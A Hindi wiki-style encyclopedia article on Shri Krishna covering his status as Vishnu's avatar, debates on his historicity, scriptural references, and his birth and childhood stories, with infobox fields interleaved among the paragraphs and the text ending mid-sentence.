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'''श्रीकृष्ण''' को [[हिन्दू धर्म]] में [[विष्णु|भगवान विष्णु]] का [[अवतार]] माना जाता है। [[सनातन धर्म]] के अनुसार भगवान विष्णु सर्वपापहारी पवित्र और समस्त मनुष्यों को भोग तथा [[मोक्ष]] प्रदान करने वाले प्रमुख [[देवता]] हैं। श्रीकृष्ण साधारण व्यक्ति न होकर 'युग पुरुष' थे। उनके व्यक्तित्व में [[भारत]] को एक प्रतिभा सम्पन्न 'राजनीतिवेत्ता' ही नही, एक महान् 'कर्मयोगी' और 'दार्शनिक' प्राप्त हुआ, जिसका '[[गीता]]' ज्ञान समस्त मानव-जाति एवं सभी देश-काल के लिए पथ-प्रदर्शक है। कृष्ण की स्तुति लगभग सारे भारत में किसी न किसी रूप में की जाती है। वे लोग जिन्हें हम साधारण रूप में नास्तिक या धर्म निरपेक्ष की श्रेणी में रखते हैं, निश्चित रूप से 'श्रीमद्‍ भगवद्गीता' से प्रभावित हैं। 'गीता' किसने और किस काल में कही या लिखी यह शोध का विषय है, किन्तु 'गीता' को कृष्ण से ही जोड़ा जाता है। यह आस्था का प्रश्न है और यूँ भी आस्था के प्रश्नों के उत्तर इतिहास में नहीं तलाशे जाते।<br />
{{पात्र परिचय
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==ब्रज==
|अन्य नाम=द्वारिकाधीश, केशव, गोपाल, नंदलाल, बाँके बिहारी, कन्हैया, गिरधारी, मुरारी आदि
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[[ब्रज]] या [[शूरसेन जनपद]] के इतिहास में श्रीकृष्ण का समय बड़े महत्त्व का है। इसी समय में प्रजातंत्र और नृपतंत्र के बीच कठोर संघर्ष हुए। मगध राज्य की शक्ति का विस्तार हुआ और भारत का वह महान् भीषण संग्राम हुआ, जिसे [[महाभारत]] युद्ध कहते हैं। इन राजनीतिक हलचलों के अतिरिक्त इस काल का सांस्कृतिक महत्त्व भी है। [[मथुरा|मथुरा नगरी]] इस महान् विभूति का [[कृष्ण जन्मभूमि|जन्मस्थान]] होने के कारण धन्य हो गई। मथुरा ही नहीं, सारा शूरसेन या [[ब्रज]] जनपद आनंदकंद कृष्ण की मनोहर लीलाओं की क्रीड़ाभूमि होने के कारण गौरवान्वित हो गया। मथुरा और ब्रज को कालांतर में जो असाधारण महत्त्व प्राप्त हुआ, वह इस महापुरुष की जन्मभूमि और क्रीड़ाभूमि होने के कारण ही प्राप्त हुआ। श्रीकृष्ण भागवत धर्म के महान् स्रोत हुए। इस धर्म ने कोटि-कोटि भारतीय जन का अनुरंजन तो किया ही, साथ ही कितने ही विदेशी इसके द्वारा प्रभावित हुए। प्राचीन और अर्वाचीन साहित्य का एक बड़ा भाग कृष्ण की मनोहर लीलाओं से ओत-प्रोत है। उनके लोकरंजक रूप ने भारतीय जनता के मानस-पटल पर जो छाप लगा दी है, वह अमिट है। ब्रज में भगवान श्रीकृष्ण को लोग कई नामों से पुकारते है- कान्हा, गोपाल, गिरधर, [[माधव]], [[केशव]], मधुसूदन, गिरधारी, रणछोड़, बंशीधर, नंदलाल, मुरलीधर आदि नामों से जाने जाते हैं।
|अवतार=[[सोलह कला]] युक्त पूर्णावतार ([[विष्णु]])
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==कृष्ण जन्म का समय==
|वंश-गोत्र=[[वृष्णि संघ|वृष्णि वंश]] ([[चंद्रवंश]])
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वर्तमान ऐतिहासिक अनुसंधानों के आधार पर श्रीकृष्ण का जन्म लगभग ई. पू. 1500 माना जाता है। ये सम्भवत: 100 वर्ष से कुछ ऊपर की आयु तक जीवित रहे। अपने इस दीर्घ जीवन में उन्हें विविध प्रकार के कार्यों में व्यस्त रहना पड़ा। उनका प्रारंभिक जीवन तो [[ब्रज]] में कटा और शेष [[द्वारका]] में व्यतीत हुआ। बीच-बीच में उन्हें अन्य अनेक जनपदों में भी जाना पड़ा। जो अनेक घटनाएं उनके समय में घटीं, उनकी विस्तृत चर्चा [[पुराण|पुराणों]] तथा [[महाभारत]] में मिलती है। वैदिक साहित्य<ref>छांदोग्य उपनिषद (3,17,6), जिसमें [[देवकी]] पुत्र कृष्ण का उल्लेख है और उन्हें घोर [[आंगिरस]] का शिष्य कहा है, परवर्ती साहित्य में श्रीकृष्ण को देव या [[विष्णु]] रूप में प्रदर्शित करने का भाव मिलता है। (तैत्तिरीय आरण्यक, 10, 1, 6; [[पाणिनि |पाणिनि]]-अष्टाध्यायी, 4, 3, 98 आदि) [[महाभारत]] तथा हरिवंश पुराण, विष्णु पुराण, [[ब्रह्म पुराण]], वायु पुराण, [[भागवत पुराण|भागवत]], पद्म पुराण, देवी भागवत, अग्नि पुराण तथा ब्रह्मवर्त पुराणों में उन्हें प्राय: भगवान के रूप में ही दिखाया गया है। इन ग्रंथों में यद्यपि कृष्ण के आलौकिक तत्त्व की प्रधानता है तो भी उनके मानव या ऐतिहासिक रूप के भी दर्शन यत्र-तत्र मिलते हैं। पुराणों में कृष्ण-संबंधी विभिन्न वर्णनों के आधार पर कुछ पाश्चात्य विद्वानों को यह कल्पना करने का अवसर मिला कि कृष्ण ऐतिहासिक पुरुष नहीं थे। इस कल्पना की पुष्टि में अनेक दलीलें दी गई हैं, जो ठीक नहीं सिद्ध होतीं। यदि महाभारत और पुराणों के अतिरिक्त, ब्राह्मण-ग्रंथों तथा उपनिषदों के उल्लेख देखे जायें तो कृष्ण के ऐतिहासिक तत्त्व का पता चल जायगा। बौद्ध-ग्रंथ घट जातक तथा जैन-ग्रंथ 'उत्तराध्ययन सूत्र' से भी श्रीकृष्ण का ऐतिहासिक होना सिद्ध है। यह मत भी भ्रामक है कि [[ब्रज]] के कृष्ण, [[द्वारका]] के कृष्ण तथा महाभारत के कृष्ण एक न होकर अलग-अलग व्यक्ति थे। (श्रीकृष्ण की ऐतिहासिकता तथा तत्संबंधी अन्य समस्याओं के लिए देखिए- राय चौधरी-अर्ली हिस्ट्री ऑफ वैष्णव सेक्ट, पृ. 39, 52; आर.जी. भंडारकार-ग्रंथमाला, जिल्द 2, पृ0 58-291; विंटरनीज-हिस्ट्री ऑफ इंडियन लिटरेचर, जिल्द 1, पृ. 456; मैकडॉनल तथा कीथ-वैदिक इंडेक्स, जि.1, पृ. 184; ग्रियर्सन-एनसाइक्लोपीडिया ऑफ  रिलीजंस ('भक्ति' पर निबंध); भगवानदास- कृष्ण; तदपत्रिकर-द कृष्ण प्रायलम; पार्जीटर-ऎश्यंट इंडियन हिस्टॉरिकल ट्रेडीशन आदि।</ref> में तो कृष्ण का उल्लेख बहुत कम मिलता है और उसमें उन्हें मानव-रूप में ही दिखाया गया है, न कि नारायण या विष्णु के अवतार रूप में।
|कुल=[[यदुकुल]]
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==विष्णु के अवतार==
|पिता=[[वसुदेव]]
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सनातन धर्म के अनुसार [[विष्णु|भगवान विष्णु]] सर्वपापहारी पवित्र और समस्त मनुष्यों को भोग तथा मोक्ष प्रदान करने वाले प्रमुख देवता हैं। जब-जब इस पृथ्वी पर असुर एवं राक्षसों के पापों का आतंक व्याप्त होता है, तब-तब भगवान विष्णु किसी न किसी रूप में अवतरित होकर पृथ्वी के भार को कम करते हैं। वैसे तो भगवान विष्णु ने अभी तक तेईस अवतारों को धारण किया। इन अवतारों में उनके सबसे महत्वपूर्ण अवतार 'श्रीराम' और 'श्रीकृष्ण' के ही माने जाते हैं। श्रीकृष्ण ऐतिहासिक पुरुष थे, इसका स्पष्ट प्रमाण 'छान्दोग्य उपनिषद' के एक उल्लेख में मिलता है। वहाँ<ref>3.17.6</ref> कहा गया है कि "[[देवकी]] पुत्र श्रीकृष्ण को महर्षिदेव:कोटी आंगिरस ने निष्काम कर्म रूप यज्ञ उपासना की शिक्षा दी थी, जिसे ग्रहण कर श्रीकृष्ण 'तृप्त' अर्थात् पूर्ण पुरुष हो गए थे।" श्रीकृष्ण का जीवन, जैसा कि [[महाभारत]] में वर्णित है, इसी शिक्षा से अनुप्राणित था और '[[गीता]]' में उसी शिक्षा का प्रतिपादन उनके ही माध्यम से किया गया है।
|माता=[[देवकी]]
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==लीलाओं का संदेश==
|धर्म पिता=
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कृष्ण लीलाओं का जो विस्तृत वर्णन भागवत ग्रंथ में किया गया है, उसका उद्देश्य क्या केवल कृष्ण भक्तों की श्रद्धा बढ़ाना है या मनुष्य मात्र के लिए इसका कुछ संदेश है? तार्किक मन को विचित्र-सी लगने वाली इन घटनाओं के वर्णन का उद्देश्य क्या ऐसे मन को अतिमानवीय पराशक्ति की रहस्यमयता से विमूढ़वत बना देना है अथवा उसे उसके तार्किक स्तर पर ही कुछ गहरा संदेश देना है, इस पर विचार करना चाहिए। श्रीकृष्ण एक ऐतिहासिक पुरुष हुए हैं, इसका स्पष्ट प्रमाण '[[छान्दोग्य उपनिषद]]' के एक उल्लेख में मिलता है। वहाँ<ref>3.17.6</ref> कहा गया है कि [[देवकी]] पुत्र श्रीकृष्ण को महर्षिदेव:कोटी आंगिरस ने निष्काम कर्म रूप यज्ञ उपासना की शिक्षा दी थी, जिसे ग्रहण कर श्रीकृष्ण 'तृप्त' अर्थात् पूर्ण पुरुष हो गए थे।
|धर्म माता=
 
|पालक पिता=[[नंद|नंदबाबा]]
 
|पालक माता=[[यशोदा]]
 
|जन्म विवरण=[[भाद्रपद|भाद्रपद माह]] में [[कृष्ण पक्ष]] की [[अष्टमी]]।
 
|समय-काल=[[महाभारत]] काल
 
|धर्म-संप्रदाय=
 
|परिजन=[[रोहिणी]] (विमाता), [[बलराम]] (भाई), [[सुभद्रा]] (बहन), गद (भाई)
 
|गुरु=[[संदीपन]], [[आंगिरस]]
 
|विवाह=[[रुक्मिणी]], [[सत्यभामा]], [[जांबवती]], मित्रविंदा, भद्रा, सत्या, लक्ष्मणा, [[कालिंदी]]
 
|संतान=[[प्रद्युम्न]]
 
|विद्या पारंगत=[[सोलह कला]], [[चक्र अस्त्र|चक्र]] चलाना।
 
|रचनाएँ='[[गीता]]'
 
|महाजनपद=
 
|शासन-राज्य=[[द्वारिका]]
 
|संदर्भ ग्रंथ='[[महाभारत]]', '[[भागवत]]', '[[छान्दोग्य उपनिषद]]'
 
|प्रसिद्ध घटनाएँ=
 
|अन्य विवरण=
 
|मृत्यु=पैर में [[बाण अस्त्र|बाण]] लगने के कारण।
 
|यशकीर्ति=गोवर्धन पर्वत को [[कनिष्ठा|कनिष्ठा उँगली]] पर धारण किया, [[कंस]] का वध करके [[उग्रसेन राजा|उग्रसेन]] को [[मथुरा]] का राजा बनाया, [[द्रौपदी]] के चीरहरण के समय उसकी रक्षा की। 
 
|अपकीर्ति=
 
|संबंधित लेख=[[वसुदेव]], [[देवकी]], [[नंद|नंदबाबा]], [[यशोदा]], [[राधा]], [[मीरां]] [[उद्धव]], [[सुदामा]], [[अर्जुन]], [[गोपी]], [[रासलीला]]
 
|शीर्षक 1=
 
|पाठ 1=
 
|शीर्षक 2=
 
|पाठ 2=
 
|अन्य जानकारी=
 
|बाहरी कड़ियाँ=
 
|अद्यतन=
 
}}
 
[[चित्र:krishn-title.jpg|कृष्ण|500px]]
 
==परिचय==
 
सनातन धर्म के अनुसार भगवान [[विष्णु]] सर्वपापहारी पवित्र और समस्त मनुष्यों को भोग तथा मोक्ष प्रदान करने वाले प्रमुख [[देवता]] हैं। कृष्ण हिन्दू धर्म में विष्णु के अवतार माने जाते हैं। श्रीकृष्ण साधारण व्यक्ति न होकर युग पुरुष थे। उनके व्यक्तित्व में [[भारत]] को एक प्रतिभासम्पन्न राजनीतिवेत्ता ही नही, एक महान कर्मयोगी और दार्शनिक प्राप्त हुआ, जिसका [[गीता]]- ज्ञान समस्त मानव-जाति एवं सभी देश-काल के लिए पथ-प्रदर्शक है। कृष्ण की स्तुति लगभग सारे भारत में किसी न किसी रूप में की जाती है। वे लोग जिन्हें हम साधारण रूप में नास्तिक या धर्म निरपेक्ष की श्रेणी में रखते हैं निश्चित रूप से भगवत गीता से प्रभावित हैं। गीता किसने और किस काल में कही या लिखी यह शोध का विषय है किन्तु गीता को कृष्ण से ही जोड़ा जाता है। यह आस्था का प्रश्न है और यूँ भी आस्था के प्रश्नों के उत्तर इतिहास में नहीं तलाशे जाते।
 
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[[ब्रज]] या [[शूरसेन]] जनपद के इतिहास में श्रीकृष्ण का समय बड़े महत्त्व का है। इसी समय में प्रजातंत्र और नृपतंत्र के बीच कठोर संघर्ष हुए, [[मगध]]-राज्य की शक्ति का विस्तार हुआ और भारत का वह महान भीषण संग्राम हुआ जिसे [[महाभारत]] युद्ध कहते हैं। इन राजनीतिक हलचलों के अतिरिक्त इस काल का सांस्कृतिक महत्त्व भी है।  
 
[[चित्र:Krishna-Radha-1.jpg|thumb|left|[[राधा]]-कृष्ण]]
 
[[मथुरा]] नगरी इस महान विभूति का [[कृष्ण जन्मभूमि|जन्मस्थान]] होने के कारण धन्य हो गई। मथुरा ही नहीं, सारा शूरसेन या ब्रज जनपद आनंदकंद कृष्ण की मनोहर लीलाओं की क्रीड़ाभूमि होने के कारण गौरवान्वित हो गया। मथुरा और ब्रज को कालांतर में जो असाधारण महत्त्व प्राप्त हुआ वह इस महापुरुष की जन्मभूमि और क्रीड़ाभूमि होने के कारण ही श्रीकृष्ण भागवत धर्म के महान स्रोत हुए। इस धर्म ने कोटि-कोटि भारतीय जन का अनुरंजन तो किया ही,साथ ही कितने ही विदेशी इसके द्वारा प्रभावित हुए। प्राचीन और अर्वाचीन साहित्य का एक बड़ा भाग कृष्ण की मनोहर लीलाओं से ओत-प्रोत है। उनके लोकरंजक रूप ने भारतीय जनता के मानस-पटली पर जो छाप लगा दी है, वह अमिट है।
 
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वर्तमान ऐतिहासिक अनुसंधानों के आधार पर श्रीकृष्ण का जन्म लगभग ई. पू. 1500 माना जाता है। ये सम्भवत: 100 वर्ष से कुछ ऊपर की आयु तक जीवित रहे। अपने इस दीर्घजीवन में उन्हें विविध प्रकार के कार्यो में व्यस्त रहना पड़ा। उनका प्रारंभिक जीवन तो ब्रज में कटा और शेष [[द्वारका]] में व्यतीत हुआ। बीच-बीच में उन्हें अन्य अनेक जनपदों में भी जाना पड़ा। जो अनेक घटनाएं उनके समय में घटी उनकी विस्तृत चर्चा [[पुराण|पुराणों]] तथा महाभारत में मिलती है। [[वैदिक साहित्य]]<ref>छांदोग्य उपनिषद(3,17,6), जिसमें देवकी पुत्र कृष्ण का उल्लेख है और उन्हें घोर [[आंगिरस]] का शिष्य कहा है। परवर्ती साहित्य में श्रीकृष्ण को देव या [[विष्णु]] रूप में प्रदर्शित करने का भाव मिलता है (दे. तैत्तिरीय आरण्यक, 10, 1, 6; [[पाणिनि]]-अष्टाध्यायी, 4, 3, 98 आदि)
 
  
[[महाभारत]] तथा [[हरिवंश पुराण|हरिवंश]], [[विष्णु पुराण|विष्णु]], [[ब्रह्म पुराण|ब्रह्म]], [[वायु पुराण|वायु]], [[भागवत पुराण|भागवत]], [[पद्म पुराण|पद्म]], [[देवी भागवत]] [[अग्नि पुराण|अग्नि]] तथा [[ब्रह्मावर्त|ब्रह्मवर्त]] [[पुराण|पुराणों]] में उन्हें प्राय: भगवान के रूप में ही दिखाया गया है। इन ग्रंथो में यद्यपि कृष्ण के आलौकिक तत्त्व की प्रधानता है तो भी उनके मानव या ऐतिहासिक रूप के भी दर्शन यत्र-तत्र मिलते हैं। पुराणों में कृष्ण-संबंधी विभिन्न वर्णनों के आधार पर कुछ पाश्चात्य विद्वानों को यह कल्पना करने का अवसर मिला कि कृष्ण ऐतिहासिक पुरुष नहीं थे। इस कल्पना की पुष्टि में अनेक दलीलें दी गई हैं, जो ठीक नहीं सिद्ध होती। यदि महाभारत और पुराणों के अतिरिक्त, ब्राह्मण-ग्रंथों तथा [[उपनिषद|उपनिषदों]] के उल्लेख देखे जायें तो कृष्ण के ऐतिहासिक तत्त्व का पता चल जायगा। बौद्ध-ग्रंथ घट [[जातक कथा|जातक]] तथा [[जैन]]-ग्रंथ उत्तराध्ययन सूत्र से भी श्रीकृष्ण का ऐतिहासिक होना सिद्ध है। यह मत भी भ्रामक है कि [[ब्रज]] के कृष्ण, [[द्वारका]] के कृष्ण तथा महाभारत के कृष्ण एक न होकर अलग-अलग व्यक्ति थे।
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श्रीकृष्ण का जीवन, जैसा कि [[महाभारत]] में वर्णित है, इसी शिक्षा से अनुप्राणित था और '[[गीता]]' में उसी शिक्षा का प्रतिपादन उनके ही माध्यम से किया गया है। किंतु इनके जन्म और बाल-जीवन का जो वर्णन प्राप्त है, वह मूलतः [[श्रीमद्भागवत]] का है और वह ऐतिहासिक कम, आध्यात्मिक अधिक है और यह बात ग्रंथ के आध्यात्मिक स्वरूप के अनुसार ही है। ग्रंथ में चमत्कारी भौतिक वर्णनों के पर्दे के पीछे गहन आध्यात्मिक संकेत संजोए गए हैं। वस्तुतः भागवत में सृष्टि की संपूर्ण विकास प्रक्रिया का और उस प्रक्रिया को गति देने वाली परमात्म शक्ति का दर्शन कराया गया है। ग्रंथ के पूर्वार्ध<ref>स्कंध 1 से 9</ref> में सृष्टि के क्रमिक विकास<ref>जड़-जीव-मानव निर्माण</ref> का और उत्तरार्ध (दशम स्कंध) में श्रीकृष्ण की लीलाओं के द्वारा व्यक्ति के आध्यात्मिक विकास का वर्णन प्रतीक [[शैली]] में किया गया है।
  
(श्रीकृष्ण की ऐतिहासिकता तथा तत्संबंधी अन्य समस्याओं के लिए देखिए- राय चौधरी-अर्ली हिस्ट्री आफ वैष्णव सेक्ट, पृ0 39, 52; आर0जी0 भंडारकार-ग्रंथमाला, जिल्द 2, पृ0 58-291; विंटरनीज-हिस्ट्री आफ इंडियन लिटरेचर, जिल्द 1, पृ0 456; मैकडॉनल तथा कीथ-वैदिक इंडेक्स, जि0 1, पृ0 184; ग्रियर्सन-एनसाइक्लोपीडिया आफ रिलीजंस (`भक्ति' पर निबंध); भगवानदास-कृष्ण; तदपत्रिकर-दि कृष्ण प्रायलम; पार्जीटर-ऎश्यंट इंडियन हिस्टारिकल ट्रेडीशन आदि।</ref> में तो कृष्ण का उल्लेख बहुत कम मिलता है और उसमें उन्हें मानव-रूप में ही दिखाया गया है, न कि नारायण या विष्णु के अवतार रूप में।
 
  
==इतिहास और पुरातत्त्व==
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<div align="center">'''[[कृष्ण के इतिहास में प्रमाण|आगे जाएँ »]]'''</div>
[[चित्र:Krishna-2.jpg|thumb|बंसी बजाते हुए  कृष्ण]]
 
दामोदर धर्मानंद कोसंबी के अनुसार, कृष्ण के बारे में एकमात्र पुरातात्विक प्रमाण है उसका पारंपरिक हथियार चक्र जिसे फेंककर मारा जाता था।  वह इतना तीक्ष्णधार होता था कि किसी का भी सिर काट दे ।  यह हथियार वैदिक नहीं है, और [[बुद्ध]] के पहले ही इसका चलन बंद हो गया था; परंतु [[मिर्ज़ापुर]] ज़िले (दरअसल, बौद्ध दक्षिणागिरि) के एक गुफ़ाचित्र में एक रथारोही को ऐसे चक्र से आदिवासियों पर (जिन्होंने यह चित्र बनाया है) आक्रमण करते दिखाया गया है।  अत: इसका समय होगा लगभग 800 ई.पू. जबकि, मोटे तौर पर, [[वाराणसी]] में पहली बस्ती की नींव पड़ी। <ref>प्राचीन भारत की संस्कृति और सभ्यता- दामोदर धर्मानंद कोसंबी</ref>
 
[[चित्र:chakra-krishna.jpg|thumb|left|चक्र द्वारा आक्रमण करता अश्वारोही (इस चित्र को स्पष्ट रूप से दिखाने के लिए background बदल दिया है। जो मूल चित्र मैं नहीं है।)]]
 
ये रथारोही [[आर्य]] रहे होंगे, और नदी पार के क्षेत्र में लोह-खनिज की खोज करने आए होंगे- उस हैमाटाइट खनिज की, जिससे ये गुफ़ाचित्र बनाए गए हैं।  दूसरी ओर , [[ऋग्वेद]] में कृष्ण को दानव और [[इन्द्र|इन्द्र]] का शत्रु बताया गया है, और उसका नाम श्यामवर्ण आर्यपूर्व लोगों का द्योतक है। कृष्णाख्यान का मूलाधार यह है कि वह एक वीर योद्धा था और यदु कबीले का नर-देवता (प्राचीनतम वेद ऋग्वेद में जिन पाँच प्रमुख जनों यानी कबीलों का उल्लेख मिलता है उनमें से [[यदु]] क़बीला एक था); परंतु सूक्तकारों ने, [[पंजाब]] के [[कबीलों]] में निरंतर चल रहे कलह से जनित तत्कालीन गुटबंदी के अनुसार, इन यदुओं को कभी धिक्कारा है तो कभी आशीर्वाद दिया है। कृष्ण [[भीम सात्वत|सात्वत]] भी है, [[अंधक]]-[[वृष्णि संघ|वृष्णि]] भी, और मामा [[कंस]] से बचाने के लिए उसे [[गोकुल]] (गोपालकों के [[कम्यून]]) में पाला गया था।  इस स्थानांतरण ने उसे उन [[आभीर|आभीरों]] से भी जोड़ दिया जो ईसा की आरंभिक सदियों में ऐतिहासिक एवं पशुपालक लोग थे, जो आधुनिक [[अहीर|अहीर जाति]] के पूर्वज हैं।  भविष्यवाणी थी कि कंस का वध उसकी बहिन (कुछ उल्लेखों में पुत्री) [[देवकी]] के पुत्र के हाथों होगा, इसलिए देवकी को उसके पति [[वसुदेव]] सहित कारागार में डाल दिया गया था।  बालक कृष्ण-वासुदेव (वासुदेव का पुत्र) गोकुल में बड़ा हुआ, उसने इन्द्र से गोधन की रक्षा की और अनेक मुँहवाले विषधर [[कालिय नाग]] का, जिसने मथुरा के पास [[यमुना नदी|यमुना]] के एक सुविधाजनक डबरे तक जाने का मार्ग रोक दिया था, मर्दन करके उसे खदेड़ दिया, उसका वध नहीं किया।  तब कृष्ण और उसके अधिक बलशाली भाई [[बलराम]] ने, भविष्यवाणी को पूरा करने के पहले, अखाड़े में कंस के मल्लों को परास्त किया।  यहाँ यह ध्यान में रखना ज़रूरी है कि कुछ आदिम समाजों में मुखिया की बहिन का पुत्र ही उसका उत्तराधिकारी होता है; साथ ही, उत्तराधिकारी को प्राय: मुखिया की बलि चढ़ानी पड़ती है।  आदिम प्रथाओं से कंस-वध को अच्छा समर्थन मिलता है, और यह भी स्पष्ट होता है कि मातृस्थानक समाज में ईडिपस-आख्यान का क्या रूप हो जाता।
 
 
 
==नारद कृष्ण संवाद==
 
[[चित्र:Krishna Birth Place Mathura-13.jpg|[[कृष्ण जन्मभूमि]], [[मथुरा]]|thumb|250px]]
 
नारद कृष्ण संवाद ने कृष्ण के सम्बन्ध में कई बातें हमें स्पष्ट संकेत देती हैं कि कृष्ण ने भी एक सहज संघ मुखिया के रूप में ही समस्याओं से जूझते हुए समय व्यतीत किया होगा । श्रीकृष्ण मंझले भाई थे।  उनके बड़े भाई का नाम [[बलराम]] था जो अपनी शक्ति में ही मस्त रहते थे।  उनसे छोटे का नाम 'गद' था।  वे अत्यंत सुकुमार होने के कारण श्रम से दूर भागते थे।  श्रीकृष्ण के बेटे [[प्रद्युम्न]] अपने दैहिक सौंदर्य से मदासक्त थे।  कृष्ण अपने राज्य का आधा धन ही लेते थे, शेष यादववंशी उसका उपभोग करते थे।  श्रीकृष्ण के जीवन में भी ऐसे क्षण आये जब उन्होंने अपने जीवन का असंतोष [[नारद]] के सम्मुख कह सुनाया और पूछा कि यादववंशी लोगों के परस्पर द्वेष तथा अलगाव के विषय में उन्हें क्या करना चाहिए।  नारद ने उन्हें सहनशीलता का उपदेश देकर एकता बनाये रखने को कहा। <br />
 
'''महाभारत शांति पर्व अध्याय-82:'''<br />
 
अरणीमग्निकामो वा मन्थाति हृदयं मम।
 
वाचा दुरूक्तं देवर्षे तन्मे दहति नित्यदा  ॥6॥<br />
 
हे देवर्षि ! जैसे पुरुष [[अग्नि]] की इच्छा से [[अरणी]] काष्ठ मथता है; वैसे ही उन जाति-लोगों के कहे हुए कठोर वचन से मेरा [[हृदय]] सदा मथता तथा जलता हुआ रहता है ॥6॥<br /><br />
 
बलं संकर्षणे नित्यं सौकुमार्य पुनर्गदे।
 
रूपेण मत्त: प्रद्युम्न: सोऽसहायोऽस्मि नारद  ॥7॥<br />
 
हे नारद ! बड़े भाई [[बलराम]] सदा बल से, गद सुकुमारता से और प्रद्युम्न रूप से मतवाले हुए है; इससे इन सहायकों के होते हुए भी मैं असहाय हुआ हूँ। ॥7॥
 
[[चित्र:krishna-birth.jpg|thumb|150px|left|कृष्ण जन्म [[वसुदेव]], कृष्ण को [[कंस]] के कारागार [[मथुरा]] से [[गोकुल]] ले जाते हुए, द्वारा- [[राजा रवि वर्मा]]]]
 
==जन्म कथा==
 
[[कंस]] की चचेरी बहन देवकी शूर-पुत्र [[वसुदेव]] को ब्याही गई थी पुराणों के अनुसार जब कंस को यह भविष्यवाणी ज्ञात हुई कि देवकी के गर्भ से उत्पन्न आठवें बच्चे के हाथ से उसकी मृत्यु होगी तो वह बहुत सशंकित हो गया। उसने वासुदेव-देवकी को कारागार में बन्द करा दिया। उल्लेख है की कंस के चाचा और [[उग्रसेन राजा|उग्रसेन]] के भाई [[देवक]] ने अपनी सात पुत्रियों का विवाह वासुदेव से कर दिया था जिनमें देवकी भी एक थी ।
 
 
 
[[देवकी]] से उत्पन्न प्रथम छह बच्चों को कंस ने मरवा डाला। सातवें बच्चे (बलराम) का उसे कुछ पता ही नहीं चला।<ref>पुराणों के अनुसार बलराम सर्वप्रथम देवकी के गर्भ में आये, किन्तु देवी शक्ति द्वारा वे वसुदेव की दूसरी पत्नी रोहिणी के गर्भ में स्थानांतरित कर दिये गये। इस घटना के कारण ही बलदेव का नाम 'संकर्षण' पड़ा ।</ref> यथा समय देवकी की आठवीं सन्तान कृष्ण का जन्म कारागार में [[भादों]] कृष्णा अष्टमी की आधी रात को हुआ।<ref>) भागवत पुराण और ब्रह्म पुराण को छोड़ प्राय: सब पुराण श्री कृष्ण के स्वाभाविक जन्म की बात कहते हैं, न कि उनके ईश्वर-रूप की। श्रीकृष्ण का जन्म-स्थान मथुरा के [[कटरा केशवदेव मन्दिर मथुरा|कटरा केशवदेव]] मुहल्ले में [[औरंगजेब]] की [[लाल मस्जिद]] ([[ईदगाह]]) के पीछे माना जाता है।</ref> जिस समय वे प्रकट हुए प्रकृति सौम्य थी, दिशायें निर्मल हो गई थीं। और [[नक्षत्र|नक्षत्रों]] में विशेष कांति आ गई थी। भयभीत वसुदेव नवजात बच्चे को शीघ्र लेकर यमुना-पार गोकुल गये और वहाँ अपने मित्र [[नंद]] के यहाँ शिशु को पहुँचा आये।<ref> हरिवंश पुराण में मार्ग का कोई वर्णन नहीं है। अन्य पुराणों में अपने आप कारागार के कपाटों के खुलने तथा प्रहरियों की निंद्रा से लेकर अन्य अनेक घटनाओं का वर्णन है।</ref>बदले में वे उनकी पत्नी यशोदा की सद्योजाता कन्या को ले आये। जब दूसरे दिन प्रात: कंस ने बालक के स्थान पर कन्या को पाया तो वह बड़े सोच-विचार में पड़ गया। उसने उस बच्ची को भी जीवित रखना ठीक न समझ उसे दिवंगत कर दिया।
 
====नामकरण संस्कार====
 
[[चित्र:Krishna-Balram-Naamkaran.jpg|thumb|250px|कृष्ण-[[बलराम]] का नामकरण संस्कार]]
 
गोकुल में नंद ने पुत्र जन्म पर बड़ा उत्सव मनाया। यदुवंशियों के कुलपुरोहित श्रीगर्गाचार्य थे। वे बड़े तपस्वी थे। वसुदेव जी की प्रेरणा से वे एक दिन [[नंद|नंदबाबा]] के [[गोकुल]] में आये। उन्हें देखकर नंदबाबा को बड़ी प्रसन्नता हुई। वे हाथ जोड़कर उठ खड़े हुए, उनके चरणों में प्रणाम किया। विधिपूर्वक आतिथ्य हो जाने पर नंदबाबा ने बड़ी ही मधुर वाणी में कहा- "भगवन आप तो स्वयं पूर्णकाम हैं, आप ब्रह्मवेत्ताओं में श्रेष्ठ हैं। इसलिए मेरे इन दोनों बालकों के नामकरण आदि संस्कार आप ही कर दीजिए।" नंदबाबा की बात सुनकर गर्गाचार्य ने एकांत में दोनों बालकों का नामकरण संस्कार कर दिया। नंद प्रति वर्ष कंस को कर देने मथुरा आया करते थे। उनसे भेंट होने पर वसुदेव ने नंद को बलदेव और कृष्ण के जन्म पर बधाई दी। पितृ-मोह के कारण उन्होंने नंद से कहा -'ब्रज में बड़े उपद्रवों की आंशका है, वहाँ शीघ्र जाकर रोहिणी और बच्चों की रक्षा करो।'
 
====राक्षस आदि का संहार====
 
* [[पूतना वध]]
 
* [[शकटासुर वध]]
 
* [[यमलार्जुन मोक्ष]]
 
* [[कालियदह|कलिय दमन]]
 
* [[धेनुक वध]]
 
* [[प्रलंब असुर|प्रलंब वध]]
 
* [[अरिष्टासुर|अरिष्ट वध]]
 
* [[कालयवन|कालयवन वध]]
 
 
 
====गोवर्धन पूजा====
 
[[चित्र:krishna-parents.jpg|thumb|250px|कृष्ण-[[बलराम]], [[देवकी]]-[[वसुदेव]] से मिलते हुए, द्वारा- [[राजा रवि वर्मा]]]]
 
गोकुल के गोप प्राचीन-रीति के अनुसार वर्षा काल बीतने और [[शरद ऋतु|शरद]] के आगमन के अवसर पर [[इन्द्र|इन्द्र देवता]] की [[पूजा]] किया करते थे।<ref>प्रर्लय-यथ के उपरान्त भाग0 पुराण में सुंजयन में अग्नि-कांड का प्रसंग है; कृष्ण ने अग्नि शांत कर गावों की रक्षा की (अ0 19 । शरद ऋतु के आगमन पर ब्र0 वै0 (22 और भाग0 (27) कात्यायनी ब्रत का उल्लेख करते हैं। इन [[पुराण|पुराणों]] के अनुसार गोपियाँ कृष्ण का पतिभाव से चिंतन करती हुई कात्यायनी-व्रत करती थीं। कृष्ण ने एक दिन यमुना में स्नान करती हुई गोपियों के कपड़े चुरा लिये ओर कुछ देर तक उन्हें तंग करने के बाद वापस दे दिये। इन पुराणों में आगे कहा है कि इस ब्रत के तीन मास बाद महारास-लीला हुई। कात्यायनी-व्रत का वर्णन प्रारंभिक पुराणों में नहीं मिलता। भाग0 (23 )में उल्लिखित ब्राह्मणी के वेश में भूखे गोपों द्वारा भोजन माँगने का प्रसंग भी प्राचीन पुराणों में नहीं मिलता।</ref> इनका विश्वास था कि इन्द्र की कृपा के कारण वर्षा होती है, जिसके परिणामस्वरूप पानी पड़ता है। कृष्ण 